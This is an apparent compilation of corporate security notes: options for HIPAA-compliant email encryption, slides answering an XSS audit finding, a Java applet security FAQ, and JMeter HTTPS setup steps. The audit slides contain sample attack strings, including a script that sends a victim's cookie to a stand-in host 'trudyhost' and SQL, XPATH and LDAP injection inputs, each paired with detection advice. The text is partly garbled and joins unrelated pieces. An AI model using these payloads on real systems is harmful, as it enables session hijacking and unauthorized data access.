Secure Email Integration for HIPAA Compliance Information

Current Situation

• Business customers need to send confidential / personal information via email, and they need to send this to non-Intranet users
• Company Security Policy (HIPAA compliance) requires confidential information to be encrypted in emails outside of the company firewall

The following alternatives were identified
1.Pull Type Architecture
2.End-to-End Encryption via S/MIME v3
3.Providing users with extranet facing outside the company firewall mail server (Variation of Infonet)
4.Pretty Good Privacy (PGP) Encryption
5.Transport Layer Security (TLS), Boundary-to-Boundary Encryption

The following changes are required for application interface by any Email Encryption alternative
1.Restrict the emails addresses in the "To" field for emails/notifications to valid emails
2.Restrict the emails addresses in the "To" field for emails/notifications to specific email domains 3.Prevent users from typing in email addresses

Advantages and Disadvantages of Alternatives
Alternative -1 A: Pull Type Architecture (all users treated the same)
Description:
• This option is suitable for systems that have a large user base and implement several automated alerts. The emails generated are recreated as webpages and hosted within the company firewall. The recipients are sent email alerts with the url of their message webpage and a token. The recipients authenticate using their id and the token to access their email message. There is security required to access the information via the link / URL, etc. (This was assumed to be within the Company Firewall.) This does not address emails going outside of the company firewall.
• Pros:
– No additional software installation required
– Uses proven standards such as SSL/Https
– Does not require any certificates
• Cons:
– Requires customization of the application to build this functionality
– Does not meet Business Client’s perceived requirement (the information be contained in the email)
– This does not address emails going outside of the company firewall (referrals or lab results).
• Complexity:
– Medium (Due to management of tokens)
– Recipient needs to use the VPN to get into the company Intranet
– High Level Effort Estimate:
• Requires COTS involvement (maybe 2 resources)
• Mini solution (Infrastructure hosting team)
• Application development team (revise reporting) – 2 resources

Alternative -1 B: Pull Type Architecture (only applies to users Outside the company firewall)
Description:
• This option is suitable for systems that have a large user base and implement several automated alerts. The emails generated are recreated as webpages and hosted within the company firewall. The recipients are sent email alerts with the url of their message webpage and a token. The recipients authenticate using their id and the token to access their email message. The users inside the company firewall should have a company Lotus notes account, and can get confidential information through Lotus Notes.
• Pros:
– No additional software installation required
– Uses proven standards such as SSL/Https
– Does not require any certificates
• Cons:
– Requires customization of application to build this functionality
– Does not meet Business Client’s perceived requirement (the information be contained in the email)
– This does not address confidential content information within emails going outside of the company firewall (referrals or lab results).
• Complexity:
– Medium (due to management of tokens as well as the need to be able to identify that this is an outside user as opposed to a internal user)
– Recipient needs to use the VPN to get into the company Intranet

Alternative -1 C: Pull By sftp Type Architecture (requires Outside users identification & ID’s)
This option is suitable for systems that have a large user base and implement several automated alerts. The emails that are generated are for notification only that a report or file exists on a secure ftp site. This report or file is then available for the user to pull it. The recipients authenticate using a secure ftp ID and password (This was assumed to be inside the company Firewall.)
This does not address emails going outside of the company firewall. If the user doesn’t have access to company Intranet, this solution is not feasible (Referrals).
The user would require a secure ftp client and certificates
Pros:
– No additional software installation required on the server side (clients would need a secure ftp)
– Uses proven standards such as SSL/Https
• Cons:
– Requires customization of application to build this functionality
– Does not meet Business Client’s perceived requirement (the information be contained in the email)
– This does not address confidential content information within emails going outside of the compay firewall (referrals or lab results).
– Users would need an additional ID and password (may be able to use existing ID).
• Complexity:
– Medium (Due to management of ID’s and certificates)
– Recipient needs to use the VPN to get into the company Intranet

Alternative -2: End to End Encryption via S/MIME v3.---
Description:
• The client will utilize the X.509 Certificates for both the sender and the receiver to encrypt the message. The message will remain encrypted from client to client. Internal users can use their VPN PKI certificates while partners will be required to purchase their own certificates. (Could use digital signatures from the server to the user to verify the right person…)
• Pros:
– Uses proven standards such as RSA-based encryption and X.509 Certificates.
– Most email client platforms claim cross platform compatibility.
– No customization of COTS application required.
– Medium implementation cost (purchase RSA certificate, people receiving need to purchase as well, and need a package to encrypt the message)
• Cons:
– Cross Platform compatibility is still an emerging feature in these products
– Places burden on the end users for certificate management (harvesting certificates, enrolling, revocation etc)
– High Maintenance and Support cost (to support end users)
– Risk that security-checking email services such as policy based message scanning and antivirus scanning could be bypassed, potentially violating company security policy standards, since the message is encrypted end to end.
– Since Lotus Notes is not on the server, we would need to add an encryption tool on the server.
– Requires software approval / deviation due to not being in company standard software category
• Complexity: Medium

Alternative -3 PROVIDING USERS WITH EXTRANET FACING, OUTSIDE THE COMPANY FIREWALL MAIL SERVER (Variation of Infonet)
Description:
• This option is suitable for all types of user bases and Email models. Company will host an Email Server for Partner mailboxes within the company firewall for all company partner companies to share secure communication. The partner users will connect to the External Email Server via a secure tunnel and access the emails through either Outlook, iNotes Client or Notes Client. Need to research if the messages stored in the external notes server are encrypted or not.
• Note: Company could provide the outside vendors a Lotus Notes account and Account ID. However, company policy may not support giving outside suppliers email access who do not have a COE seat. Client (COTS vendor) would still need to encrypt, so we’d still need a tool for that.
• S/MIME is an extension that allows additional functionality and it uses certificates to manage, although certificates are costly.
• Pros:
– It will be a single vendor based solution eliminating all needs for cross platform compatibility.
– There is no requirement for key management
– Low cost of maintenance and support.
• Cons:
– Implementation costs higher than option 2 (certificates already in place, so no additional cost for those)
– Need to research security compliance at the External Notes server.
– Not sure if internal IT would support, given complexity of changes to the infrastructure.
– Business customers may not want to force people to have a company email ID.
– There’s a risk that company may lose HIPAA exemption because outside electronic transmissions of medical information may require auditing.
• Complexity: High

Alternative -4 PRETTY GOOD PRIVACY (PGP) Encryption
Description: The sending server will utilize a Public Key to encrypt the message, and the receiver decrypts the message with a Private Key. Company requires Private Keys for its users. Private keys would need to be purchased and managed for outside users.
• Pros:
– Uses proven standards (PGP)
– Most email client platforms claim cross platform compatibility.
– No customization of COTS application required.
– Medium cost (purchase Private Keys for the client)
• Cons:
– End user would need to install key.
– Key management must be performed by a Certificate Authority (IT vendor or other organizations)
– High Maintenance cost (to support end users)
– Would need an encryption tool on the server
– Risk that security-checking email services such as policy based message scanning and antivirus scanning could be bypassed, potentially violating company security policy standards, since the message is encrypted end to end.
• Complexity: Medium

Alternative -5 Transport Layer Security (TLS), Not an end-to-end encryption solution.
Description: TLS is a variation of the tried-and-true Secure Sockets Layer (SSL) protocol that we use to protect Web traffic. Using TLS to encrypt communications between two email gateways has a number of security benefits. First, each mail server authenticates to the other, making it harder to send spoofed email. Second, the contents of the emails sent between the two servers are encrypted, protecting them from prying eyes while in transit. Finally, the encryption of the conversation between the two hosts makes it exceedingly difficult for an attacker to tamper with the email's contents.
· Pros:
o Secure transfer from server to server.
o Digital signatures sent and received from the server level.
o TLS and SMTP are extremely interoperable
o Do not need a digital certificate to run TLS on the mail server
· Cons:
o Not highly scalable
o This solution is dependent upon the security environment of the receiving server, which may not be compatible with company security policy requirements.
· Complexity:
o Low-medium

Comparison (Equal Weight)


Comparison (Weighted)



Recommend: Alternative #2
End to End Encryption via S/MIME v3
We recommends Alternative #2 for the following reasons:
•Emails with Confidential and Personal data are encrypted outside Company Firewall
•Proven Industry Standard

Sending Party Considerations (Our Company):
•Does not need to manage specific certificates (Use Existing PKI)
•An encryption module needs to be added to the Mail server
•Requires software approval/deviation
•Requires hosting approval
•Requires Security Policy approval

Receiving Party Considerations (Partners):
•All recipients would be required to have a approved email domain account
•Encrypted emails may violate partner's email security-checking process and/or policy
•Use the company's PKI system without any certificate management
•OR email user would have to purchase/manage/renew his/her own certificate

Encryption Modules
•Appliance Module: Entrust Messaging Server

• Software Module: CompanyCRYPT

Web Vulnerability Audit - cross-site scripting (XSS)

Business Problem
● Independent security audit
● Regulatory compliance
● XSS issue raised
● Must provide a response

Audit Response
● Either: – Prove issue to be a non-problem or – Describe actions to take

Resolution Steps
● Investigate security concerns
● Restate as IT problem(s)
●Determine solution(s)
● Provide audit response
● Mitigate risk

Investigation
● Define cross-site scripting (XSS)
● Examine how auditors applied
● Identify risks
● Research preliminary solutions

cross-site scripting
Attacker goal: their code into browser
● XSS forces a website to execute malicious code in browser
● Browser user is the intended victim
● Why? Account hijjacking,, keystroke recording,, intranet hacking,, theft…

XSS types
● Immediate reflection : phishing
● DOM-based : 95 JavaScript methods
● Redirection : header,, meta,, dynamic
● Multimedia : Flash,, QT,, PDF scripts
Cross-Site Request Forgery (CSRF)
● others… – (e.g. non-persistent search box)

Risks
●XSS abuses render engines or plug-ins
● Steal browser cookies
● Steal session info for replay attack
● Malware or bot installation
● Redirect or phishing attempt

Actual risk
● Currently,, none..
● Edit box info viewed in thick client
● DHTML or JavaScript needs browser
● Our thick client is Java Swing-based

Planned Audit Response
Could indicate “no audit problem”
● Might have future impact Address through dev standards
● Consider application firewall Widen problem scope to include all user agent injection tactics

More on Web Attacks
● Cross Site Scripting
● SQL Injjection
● XPATH Injjection
● LDAP Injjection
● SSI (server side inclusion) Injection
● JSP (Java server pages) Injection

Artifacts
● For each injection issue:– Vulnerability description documented– Preventative coding technique Discuss with App Dev teams– Publish and socialize direction– Include in peer reviews/code walkthroughs– Set deadlines for ful incorporation
● Communicate with auditors

Cross Site Scripting
Example 1
● Trudy posts the folowing JavaScript on amessage board:<<script>d_o_c_u_m_e_n_t.location='http___://trudyhost/cgibin/stealcookie.cgi?'+document.cookie</SCRIPT> When Bob views the posted message, hisbrowser executes the malicious script, andhis session cookie is sent to Trudy

Cross Site Scripting
Example 2
● Trudy sends a link to the folowing URL to Bob thatwil take him to a personalized page: http://host/personalizedpage.php?username=
A page is returned that contains the maliciousscript instead of the username Bob, and Bob’sbrowser executes the script causing his sessioncookie to be sent to Trudy
● Hex is often used in place of ASCI for theJavaScript to make the URL less suspicious

Cross Site Scripting
Detection
● A client usually is not supposed to sendscripts to servers– If the server receives <script>… or thehex equivalent in an incoming packet andthat same script is sent unsanitized in anoutgoing packet or in an outgoing SQLstatement to the database, then an attackhas occurred
● A sanitized script could look like&ls;SCRIPT>…

SQL Injection Example
● Trudy accesses Bob’s website; in which he does notvalidate input on his sign in form– Runs a SQL statement like the folowing:– SELECT * from Accounts where username =“USER_NAME” and password = “USER_PASS”;
● In the password field, she types as her password:– X” OR “x”=“x
● Manipulates the server into running the folowing SQLcommand:– SELECT * from Accounts where username =“USER_NAME” and password=“X” OR “x”=“x”;– Selects al account information

SQL Injection Detection
● To detect and prevent this at Bob’’slocation– Log any trafic from Trudy to Bobcontaining form data containing aquotation mark– Match any outgoing SQL statements fromBob’s web server to his database serverand verify that the quotation marks Trudysupplied were escaped– If they weren’t, take action

XPATH Injection Example
● Similar to SQL injection
● Bob has a form that does not sanitize userprovidedinput before using it as part of anXPATH query::– string(//user[name/text()=’USER_NAME' andpassword/text()=’USER_PASS']/account/text())
● Trudy again can provide the folowingpassword to change the statement’s logic:– X’ OR ‘x’=‘x– The statement thus selects the first account

XPATH InjectionDetection
● Again,, our system can detect this bymatching any submission by Trudycontaining a quotation mark againstoutbound XPATH queries
● Correction can again be done byescaping any rogue quotation marksTrudy may have inserted Detection approach is blackbox
LDAP Injection Example
● Server using LDAP for authentication– User name initialized, but then usesunchecked user input to create a queryfilter = "(uid=" + CStr(userName) + ")" ''searching for the user entry
● Attacker can exploit using specialcharactershttp://examplle/lldapsearch..asp?user=*

LDAP Injection Detection
● Detection is based off of usage ofspecial LDAP characters– System monitors input for specialcharacters– Either scrubs incoming input or watchesfor unescaped output passed to databaseserver
● Detection approach is blackbox

SSI Injection Example
● Bob has his server configured to use Server-Side Includes
● Trudy passes input with an SSI embedded
● SSI inserts malicious code into normalwebpages upon next request
● Future legitimate users get contentcontaining the tainted code included by theSSI

SSI Injection Detection
● Bob’’s system needs SSI enabled,, so heuses our system on local servers– SSI code can be detected by its specificformat
● HTML comment () containing a command– SSI commands can be stripped on ingress– Can also deny outgoing packets that do notinclude SSI as inputted (means successfulexecution) Detection approach is blackbox

JSP Injection Example
● Similar to SSI injjection
● Bob has a portal server configured touse dynamic code for templates Trudy passes input with an embedded
● malicious code inserted into webpage

JSP Injection Prevention
● Prefer static include

Java Applet Security

The goal for the JDK is to enable browsers to run untrusted applets in a trusted environment. Our approach is to be conservative at first, and to add functionality when it can be added securely. The intent is to prevent applets from inspecting or changing files on the client file system. Also, the intent is to prevent applets from using network connections to circumvent file protections or people's expectations of privacy.
JDK 1.1 provides the basic technology for loading and authenticating signed classes. This enables browsers to run trusted applets in a trusted environment. This does not make obselete the need to run untrusted applets in a secure way. In the release following JDK 1.1, we will provide tools for finer-grained control of flexible security policies.


1. What are applets prevented from doing?
In general, applets loaded over the net are prevented from reading and writing files on the client file system, and from making network connections except to the originating host.
In addition, applets loaded over the net are prevented from starting other programs on the client. Applets loaded over the net are also not allowed to load libraries, or to define native method calls. If an applet could define native method calls, that would give the applet direct access to the underlying computer.
There are other specific capabilities denied to applets loaded over the net, but most of the applet security policy is described by those two paragraphs above. Read on for the gory details.

2. Can applets read or write files?
In Java-enabled browsers, untrusted applets cannot read or write files at all. By default, downloaded applets are considered untrusted. There are two ways for an applet to be considered trusted:
1. The applet is installed on the local hard disk, in a directory on the CLASSPATH used by the program that you are using to run the applet. Usually, this is a Java-enabled browser, but it could be the appletviewer, or other Java programs that know how to load applets.
2. The applet is signed by an identity marked as trusted in your identity database. For more information on signed applets, refer to an example of using signed applets, and to a short description on using javakey.
Sun's appletviewer allows applets to read files that reside in directories on the access control lists.
If the file is not on the client's access control list, then applets cannot access the file in any way. Specifically, applets cannot
o check for the existence of the file
o read the file
o write the file
o rename the file
o create a directory on the client file system
o list the files in this file (as if it were a directory)
o check the file's type
o check the timestamp when the file was last modified
o check the file's size

3. How do I let an applet read a file?
Applets loaded into a Java-enabled browser can't read files.
Sun's appletviewer allows applets to read files that are named on the access control list for reading. The access control list for reading is null by default, in the JDK. You can allow applets to read directories or files by naming them in the acl.read property in your ~/.hotjava/properties file.
Note: The "~" (tilde) symbol is used on UNIX systems to refer to your home directory. If you install a web browser on your F:\ drive on your PC, and create a top-level directory named .hotjava, then your properties file is found in F:\.hotjava\properties.
For example, to allow any files in the directory home/me to be read by applets loaded into the appletviewer, add this line to your ~/.hotjava/properties file.
acl.read=/home/me
You can specify one file to be read:
acl.read=/home/me/somedir/somefile
Use ":" to separate entries:
acl.read=/home/foo:/home/me/somedir/somefile
Allowing an applet to read a directory means that it can read all the files in that directory, including any files in any subdirectories that might be hanging off that directory.

4. How do I let an applet write a file?
Applets loaded into a Java-enabled browser can't write files.
Sun's appletviewer allows applets to write files that are named on the access control list for writing. The access control list for writing is empty by default.
You can allow applets to write to your /tmp directory by setting the acl.write property in your ~/.hotjava/properties file:
acl.write=/tmp
You can allow applets to write to a particular file by naming it explicitly:
acl.write=/home/me/somedir/somefile
Use : to separate entries:
acl.write=/tmp:/home/me/somedir/somefile
Bear in mind that if you open up your file system for writing by applets, there is no way to limit the amount of disk space an applet might use.

5. What system properties can be read by applets, and how?
In both Java-enabled browsers and the appletviewer, applets can read these system properties by invoking System.getProperty(String key):


key meaning
____________ ______________________________
java.version Java version number
java.vendor Java vendor-specific string
java.vendor.url Java vendor URL
java.class.version Java class version number
os.name Operating system name
os.arch Operating system architecture
os.version Operating system version
file.separator File separator (eg, "/")
path.separator Path separator (eg, ":")
line.separator Line separator

Applets are prevented from reading these system properties:

key meaning
____________ _____________________________
java.home Java installation directory
java.class.path Java classpath
user.name User account name
user.home User home directory
user.dir User's current working directory

To read a system property from within an applet, simply invoke System.getProperty(key) on the property you are interested in.
For example,
String s = System.getProperty("os.name");

6. How do I hide system properties that applets are allowed to read by default?
There's no way to hide the above ten system properties from applets loaded into a Java-enabled browser. The reason is that the browsers don't consult any external files as part their Java configuration, as a security precaution, including the ~/.hotjava/properties file.
From the appletviewer, you can prevent applets from finding out anything about your system by redefining the property in your ~/.hotjava/properties file. For example, to hide the name of the operating system that you are using, add this line to your ~/.hotjava/properties file:
os.name=null

7. How can I allow applets to read system properties that they aren't allowed to read by default?
There's no way to allow an applet loaded into a Java-enabled browser to read system properties that they aren't allowed to read by default.
To allow applets loaded into the appletviewer to read the property named by key, add the property key.applet=true to your ~/.hotjava/property file. For example, to allow applets to record your user name, add this line to your ~/.hotjava/properties file:
user.name.applet=true

8. How can an applet open a network connection to a computer on the internet?
Applets are not allowed to open network connections to any computer, except for the host that provided the .class files. This is either the host where the html page came from, or the host specified in the codebase parameter in the applet tag, with codebase taking precendence.
For example, if you try to do this from an applet that did not originate from the machine foo.com, it will fail with a security exception:
Socket s = new Socket("foo.com", 25, true);

9. How can an applet open a network connection to its originating host?
Be sure to name the originating host exactly as it was specified when the applet was loaded into the browser.
That is, if you load an HTML page using the URL
http://foo.state.edu/~me/appletPage.html
then your applet will be able to connect to its host only by using the name foo.state.edu. Using the IP address for foo.state.edu won't work, and using a "shorthand" form of the host name, like foo.state instead of foo.state.edu, won't work.

10. How can an applet maintain persistent state?
There is no explicit support in the JDK applet API for persistent state on the client side. However, an applet can maintain its own persistent state on the server side. That is, it can create files on the server side and read files from the server side.

11. Can an applet start another program on the client?
No, applets loaded over the net are not allowed to start programs on the client. That is, an applet that you visit can't start some rogue process on your PC. In UNIX terminology, applets are not allowed to exec or fork processes. In particular, this means that applets can't invoke some program to list the contents of your file system, and it means that applets can't invoke System.exit() in an attempt to kill your web browser. Applets are also not allowed to manipulate threads outside the applet's own thread group.

12. What features of the Java language help people build secure applets?
o Java programs do not use pointers explicitly. Objects are accessed by getting a handle to the object. Effectively, this is like getting a pointer to an object, but Java does not allow the equivalent of pointer arithmetic on object handles. Object handles cannot be modified in any way by the Java applet or application.
o C and C++ programmers are used to manipulating pointers to implement strings and to implement arrays. Java has high-level support for both strings and arrays, so programmers don't need to resort to pointer arithmetic in order to use those data structures.
o Arrays are bounds-checked at runtime. Using a negative index causes a runtime exception, and using an index that is larger than the size of the array causes a runtime exception. Once an array object is created, its length never changes.
o Strings in Java are immutable. A string is zero or more characters enclosed in double quotes, and it's an instance of the String class. Using immutable strings can help prevent common runtime errors that could be exploited by hostile applets.
o The Java compiler checks that all type casts are legal. Java is a strongly typed language, unlike C or C++, and objects cannot be cast to a subclass without an explicit runtime check.
o The final modifier can be used when initializing a variable, to prevent runtime modification of that variable. The compiler catches attempts to modify final variables.
o Before a method is invoked on an object, the compiler checks that the object is the correct type for that method. For example, invoking
o t.currentThread()
when t is not a Thread object causes a compile time error.
o Java provides four access modifiers for methods and variables defined within classes and makes sure that these access barriers are not violated.
§ public: a public method is accessible anywhere the class name is accessible
§ protected: a protected method is accessible by a child of a class as long as it is trying to access fields in a similarly typed class. For example,
§ class Parent { protected int x; }
§ class Child extends Parent { ... }
The class Child can access the field "x" only on objects that are of type Child (or a subset of Child.)
§ private: a private method is accessible only within its defining class
§ default: if no modifier is specified, then by default, a method is accessible only within its defining package
For example, programmers can choose to implement sensitive functions as private methods. The compiler and the runtime checks ensure that no objects outside the class can invoke the private methods.

13. What is the difference between applets loaded over the net and applets loaded via the file system?
There are two different ways that applets are loaded by a Java system. The way an applet enters the system affects what it is allowed to do.
If an applet is loaded over the net, then it is loaded by the applet class loader, and is subject to the restrictions enforced by the applet security manager.
If an applet resides on the client's local disk, and in a directory that is on the client's CLASSPATH, then it is loaded by the file system loader. The most important differences are
o applets loaded via the file system are allowed to read and write files
o applets loaded via the file system are allowed to load libraries on the client
o applets loaded via the file system are allowed to exec processes
o applets loaded via the file system are allowed to exit the virtual machine
o applets loaded via the file system are not passed through the byte code verifier
Java-enabled browsers use the applet class loader to load applets specified with file: URLs. So, the restrictions and protections that accrue from the class loader and its associated security manager are now in effect for applets loaded via file: URLs.
This means that if you specify the URL like so:
Location: file:/home/me/public_html/something.html
and the file something.html contains an applet, the browser loads it using its applet class loader.

14. What's the applet class loader, and what does it buy me?
Applets loaded over the net are loaded by the applet class loader. For example, the appletviewer's applet class loader is implemented by the class sun.applet.AppletClassLoader.
The class loader enforces the Java name space hierarchy. The class loader guarantees that a unique namespace exists for classes that come from the local file system, and that a unique namespace exists for each network source. When a browser loads an applet over the net, that applet's classes are placed in a private namespace associated with the applet's origin. Thus, applets loaded from different network sources are partitioned from each other.
Also, classes loaded by the class loader are passed through the verifier. The verifier checks that the class file conforms to the Java language specification - it doesn't assume that the class file was produced by a "friendly" or "trusted" compiler. On the contrary, it checks the class file for purposeful violations of the language type rules and name space restrictions. The verifier ensures that
o There are no stack overflows or underflows.
o All register accesses and stores are valid.
o The parameters to all bytecode instructions are correct.
o There is no illegal data conversion.
The verifier accomplishes that by doing a data-flow analysis of the bytecode instruction stream, along with checking the class file format, object signatures, and special analysis of finally clauses that are used for Java exception handling.
Details on the verifier's design and implementation were presented in a paper by Frank Yellin at the December 1995 WWW conference in Boston.
A web browser uses only one class loader, which is established at start-up. Thereafter, the system class loader cannot be extended, overloaded, overridden or replaced. Applets cannot create or reference their own class loader.

15. What's the applet security manager, and what does it buy me?
The applet security manager is the Java mechanism for enforcing the applet restrictions described above. The appletviewer's applet security manager is implemented by sun.applet.AppletSecurity.
A browser may only have one security manager. The security manager is established at startup, and it cannot thereafter be replaced, overloaded, overridden, or extended. Applets cannot create or reference their own security manager.

16. Is there a summary of applet capabilities?
The following table is not an exhaustive list of applet capabilities. It's meant to answer the questions we hear most often about what applets can and cannot do.
Key:
o NN: Netscape Navigator 4.x, loading unsigned applets over the Net
o NL: Netscape Navigator 4.x, loading unsigned applets from the Local file system
o AN: Appletviewer, JDK 1.x, loading applets over the Net
o AL: Appletviewer, JDK 1.x, loading applets from the Local file system
o JS: Java Standalone applications


Stricter ------------------------> Less strict

NN NL AN AL JS

read file in /home/me, no no no yes yes
acl.read=null

read file in /home/me, no no yes yes yes
acl.read=/home/me

write file in /tmp, no no no yes yes
acl.write=null

write file in /tmp, no no yes yes yes
acl.write=/tmp

get file info, no no no yes yes
acl.read=null
acl.write=null

get file info, no no yes yes yes
acl.read=/home/me
acl.write=/tmp

delete file, no no no no yes
using File.delete()

delete file, no no no yes yes
using exec /usr/bin/rm

read the user.name no yes no yes yes
property

connect to port no no no yes yes
on client

connect to port no no no yes yes
on 3rd host

load library no yes no yes yes

exit(-1) no no no yes yes

create a popup no yes no yes yes
window without
a warning


17. If other languages are compiled to Java bytecodes, how does that affect the applet security model?
The verifier is independent of Sun's reference implementation of the Java compiler and the high-level specification of the Java language. It verifies bytecodes generated by other Java compilers. It also verifies bytecodes generated by compiling other languages into the bytecode format. Bytecodes imported over the net that pass the verifier can be trusted to run on the Java virtual machine. In order to pass the verifier, bytecodes have to conform to the strict typing, the object signatures, the class file format, and the predictability of the runtime stack that are all defined by the Java language implementation.

Running JMeter on HTTPS (SSL)

----------------------------------------------------
The steps are tested for:
IE 7
Sun jre 1.6_0_07
JMeter 2.3.2

1.) Export Certificate to File
* IE Tools->Internet Options->Content->Certificates->Trusted Root Certification Authorities
* locate the certificate in the table & select (I exported “VeriSign Trust Network”)
* hit the Export button
* select DER encoded binary format x.509
* save to a file

2.) Import Certificate into JRE Keystore
* open command prompt
* make sure %JAVA_HOME%/jre/bin is in your path (if not, you need to find the jre/bin location. Usually it is under “C:\Program Files\Java\” folder. Add this folder to your PATH environment)
* keytool -import -file
* enter keystore password (default is "changeit")* enter "yes" to trust the certificate

3.) Modify the jmeter.properties file
* uncomment the following lines (or you may need to add them under “# SSL configuration” section): #ssl.provider=com.sun.net.ssl.internal.ssl.Provider
#ssl.pkgs=com.sun.net.ssl.internal.www.protocol

4.) Try It
* start JMeter
* Make a simple test case as follows
Test Plan
Thread Group (Loop Count = 1)
HTTP Request (HTTPS, Port 443) (Server Name: <yourcompany.com>; Path: </testErr.jsp>; Port Number: <443>; Protocol: <https>View Results Tree
* HTTP responses will be logged in the results tree

Reference URL: http://osdir.com/ml/jakarta.jmeter.user/2002-12/msg00149.html